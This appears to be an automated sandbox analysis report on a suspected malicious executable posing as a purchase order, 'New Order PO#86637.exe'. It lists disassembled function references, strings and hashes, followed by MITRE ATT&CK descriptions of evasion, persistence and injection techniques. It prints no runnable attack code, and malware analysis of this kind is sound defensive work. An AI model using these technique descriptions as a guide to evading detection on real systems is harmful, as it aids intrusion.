Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 1b8a1482498e59a9e674e96fd5fabaeacd2ddbb1f8abcd0cc85bd7074ae773d5
Instruction ID: 528d1b292af097fd122ed4be4541c74d7578eb88e117dd2fe935d7ad7cd5862b
Opcode Fuzzy Hash: 1b8a1482498e59a9e674e96fd5fabaeacd2ddbb1f8abcd0cc85bd7074ae773d5
Instruction Fuzzy Hash: 0A21A5716102096BEB10DE68DC85FDB3398EB59734F20431AFA24A72D1D3B9EC958768

Function 00451321 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 0045134A
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 0045135A

Strings

edit, xrefs: 004513C2

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 458bf78cb5436efb918afa53a1743a3d6784074bbf07c1e17ba5dfdf6e920bd9
Instruction ID: 5a0e340068a0ba28dc4d1c90c86d8b7761b767731f3a1bde811fb9e5560a91dc
Opcode Fuzzy Hash: 458bf78cb5436efb918afa53a1743a3d6784074bbf07c1e17ba5dfdf6e920bd9
Instruction Fuzzy Hash: BB2190761102056BEB108F68D894FEB33ADEB89339F10471AFD64D36E1C279DC458B68

Function 00476CA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00476CB0
GlobalMemoryStatusEx.KERNEL32 ref: 00476CC3

Strings

@, xrefs: 00476CBB

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: e336f3d3cf010bdb765bf3cd25e4316ec625df5f035adc8ff92848a8f4c166eb
Instruction ID: 7847cb5f82098321599ebf91c79b9dffd15eff11c36c925ad8cec94a5f412430
Opcode Fuzzy Hash: e336f3d3cf010bdb765bf3cd25e4316ec625df5f035adc8ff92848a8f4c166eb
Instruction Fuzzy Hash: 67217130508F0497C211BF6AAC4AB5E7BB8AF84B15F01886DF9C8A14D1DF745528C76F

Function 00465225 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON

Download Yara Rule

APIs

inet_addr.WSOCK32(?), ref: 00465249
htons.WSOCK32(?), ref: 004652A9

Strings

255.255.255.255, xrefs: 00465261

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: htonsinet_addr
String ID: 255.255.255.255
API String ID: 3832099526-2422070025
Opcode ID: bffbf838f8b6926ef71edb3efae5563a838ccfa537518f0e0f8b175b1623bbd9
Instruction ID: fb726eff09ff94cff080b531f734a3fd27281744828c6f3d0166551fa69e616e
Opcode Fuzzy Hash: bffbf838f8b6926ef71edb3efae5563a838ccfa537518f0e0f8b175b1623bbd9
Instruction Fuzzy Hash: 5211E732600304ABCF10DF69EC85FAA73A8EF45324F04455BF9049B392D635E4518B59

Function 0044256C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 004425F8

Strings

<local>, xrefs: 004425B7

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: InternetOpen
String ID: <local>
API String ID: 2038078732-4266983199
Opcode ID: 84bf365b150010c194f632228c20f1475d6fe654e04a12f862fc2198fde258ef
Instruction ID: 93d8b03a482712ff69e4757b1f2b0d1c201104d099b6cd2898bf81ba059b6d15
Opcode Fuzzy Hash: 84bf365b150010c194f632228c20f1475d6fe654e04a12f862fc2198fde258ef
Instruction Fuzzy Hash: 9311C270680710BAF720CB548E62FBA77E8BB24B01F50844BF9429B6C0D6F4B944D7A9

Function 004321A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004321C1
__fread_nolock.LIBCMT ref: 004321D7

Strings

EA06, xrefs: 0043220A

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: e45c56eab20c3bcfe4a359df8a9ba3729120cfe0f4e9d091ae644268b7df8977
Instruction ID: b3ef0f2836274d974f80c1c05754fec17bf4118f678989acdc9742ef3c25ced0
Opcode Fuzzy Hash: e45c56eab20c3bcfe4a359df8a9ba3729120cfe0f4e9d091ae644268b7df8977
Instruction Fuzzy Hash: 7D014971904228ABCF18DB99DC56EFEBBF49F55301F00859EF59793281D578A708CBA0

Function 00442BB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00442BFB
_memmove.LIBCMT ref: 00442C0A

Strings

u,D, xrefs: 00442BB7

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove
String ID: u,D
API String ID: 4104443479-3858472334
Opcode ID: a09dc1741948e98e7df597fac067bc9d4c41fa761799cf9fa5b02ea5b7d8fd51
Instruction ID: 1e149f93898fe9afff494952afced4f728167d7c2cca3c00b97e401526751dc1
Opcode Fuzzy Hash: a09dc1741948e98e7df597fac067bc9d4c41fa761799cf9fa5b02ea5b7d8fd51
Instruction Fuzzy Hash: 4FF04C722007045AE3149E6ADC41FD7B7ECDBD8714F50442EF74997241E1B8A9858764

Function 0044CDE9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0044CE11
_memmove.LIBCMT ref: 0044CE29

Strings

Error: , xrefs: 0044CDF4

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove
String ID: Error:
API String ID: 4104443479-232661952
Opcode ID: 47c0561e29c226fab9e20f11d30fc4033f42905d42d91430649e8e798f40a5ad
Instruction ID: e6e9f2aa443a554b8bda50df2a041f2c42dbd20d32390c21629c974d0e28b4a3
Opcode Fuzzy Hash: 47c0561e29c226fab9e20f11d30fc4033f42905d42d91430649e8e798f40a5ad
Instruction Fuzzy Hash: 2101EFB6200115ABC704DF49D981D6AF7A9FF88710708855AF819CB302D774FD20CBA4

Function 004560F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001001,00000000,?), ref: 004560FE

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

wsprintfW.USER32 ref: 0045612A

Strings

%d/%02d/%02d, xrefs: 00456124

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend_mallocwsprintf
String ID: %d/%02d/%02d
API String ID: 1262938277-328681919
Opcode ID: 0791508f4d5d4d8a4d88f52051df625728301e413c657ab928a68c4181838543
Instruction ID: 953f6dd97ce98099cbba652085d0304866be84a46252058ffc4865c1a62d2123
Opcode Fuzzy Hash: 0791508f4d5d4d8a4d88f52051df625728301e413c657ab928a68c4181838543
Instruction Fuzzy Hash: 9DF0823274022866D7109BD9AD42FBEB3A8DB49762F00416BFE08E9180E6694854C3B9

Function 00442651 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(?), ref: 00442663
InternetCloseHandle.WININET ref: 00442668

Part of subcall function 004319AC: WaitForSingleObject.KERNEL32(aeB,?,?,00442688,aeB,00002710,?,?,00426561,?,?,0040F19D), ref: 004319BD

Strings

aeB, xrefs: 00442655, 00442682

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CloseHandleInternet$ObjectSingleWait
String ID: aeB
API String ID: 857135153-906807131
Opcode ID: c8224cb77d174d98af0e1b6511dcd9cd22ae279780c4dc09588970c0e039578a
Instruction ID: 0fa74210230a71b56b5a48e3a0e63043fcf8dca502afcbd281d0c2380f7acdeb
Opcode Fuzzy Hash: c8224cb77d174d98af0e1b6511dcd9cd22ae279780c4dc09588970c0e039578a
Instruction Fuzzy Hash: 46E0E67650071467D310AF9ADC00B4BF7DC9F95724F11482FEA4497650C6B5B4408BA4

Function 00433244 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

_wcsncpy.LIBCMT ref: 0043325C

Strings

^B, xrefs: 00433248
C:\Users\user\Desktop\New Order PO#86637.exe, xrefs: 0043324B

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcsncpy
String ID: ^B$C:\Users\user\Desktop\New Order PO#86637.exe
API String ID: 1735881322-362401725
Opcode ID: f7c3fd886c497ae33bdd3057849675e3afdb83c7c480df0bc310b3c11edf5eb4
Instruction ID: 95fca152a805ab331260cabc3645652019b64b11bc5d0d7a1f408bc65d2df1f2
Opcode Fuzzy Hash: f7c3fd886c497ae33bdd3057849675e3afdb83c7c480df0bc310b3c11edf5eb4
Instruction Fuzzy Hash: ADE0C23360051A7B9710DE4AD841DBBF37DEEC4A20B08802AF90883200E2B1BD1A43E4

Function 00441BE8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00441BFE
PostMessageW.USER32(00000000), ref: 00441C05

Part of subcall function 004331A2: Sleep.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331B9

Strings

Shell_TrayWnd, xrefs: 00441BF7

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 45e518b183cc50fc9cae19d0f51122c68363ee0c98c893ad2541c3bd761d7025
Instruction ID: aba4e04af0122a293c2d26b46e7c49f9db856b5fc79b6d6ac13cebee95b63d36
Opcode Fuzzy Hash: 45e518b183cc50fc9cae19d0f51122c68363ee0c98c893ad2541c3bd761d7025
Instruction Fuzzy Hash: EFD0A772BC13013BFA6077745D0FF8B66145B14711F000C3A7B42E61C1D4F8E4018758

Function 00441C20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00441C2A
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00441C3D

Part of subcall function 004331A2: Sleep.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331B9

Strings

Shell_TrayWnd, xrefs: 00441C23

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 2c92ce268d6dea70ed1d9c93ac972332f86dd545b3a9023bb22b3be85c6f7e29
Instruction ID: e91d5bd0f3095d95abf168919443ed1e5ef8457e9bc9ee6dadeb2d3358a759b2
Opcode Fuzzy Hash: 2c92ce268d6dea70ed1d9c93ac972332f86dd545b3a9023bb22b3be85c6f7e29
Instruction Fuzzy Hash: 61D0A772B843017BFA6077745D0FF8B66145B14711F000C3A7B46A61C1D4F8D4018758

Function 004370C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 004370D1

Part of subcall function 004118DA: _doexit.LIBCMT ref: 004118E6

Strings

AutoIt, xrefs: 004370C5
Error allocating memory., xrefs: 004370CA

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: a805162a0f5c9c87f8277766c6d2ca4cce7c6123580b1b409358537ccd51af94
Instruction ID: aa36ec6b1cc278624b5c670a1a0522bf80bf1016c56dd6686bcadf549e8ac499
Opcode Fuzzy Hash: a805162a0f5c9c87f8277766c6d2ca4cce7c6123580b1b409358537ccd51af94
Instruction Fuzzy Hash: F1B092323C030627E50437910D0BF9D26003B64F02F220C067324280D204C90090131D

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

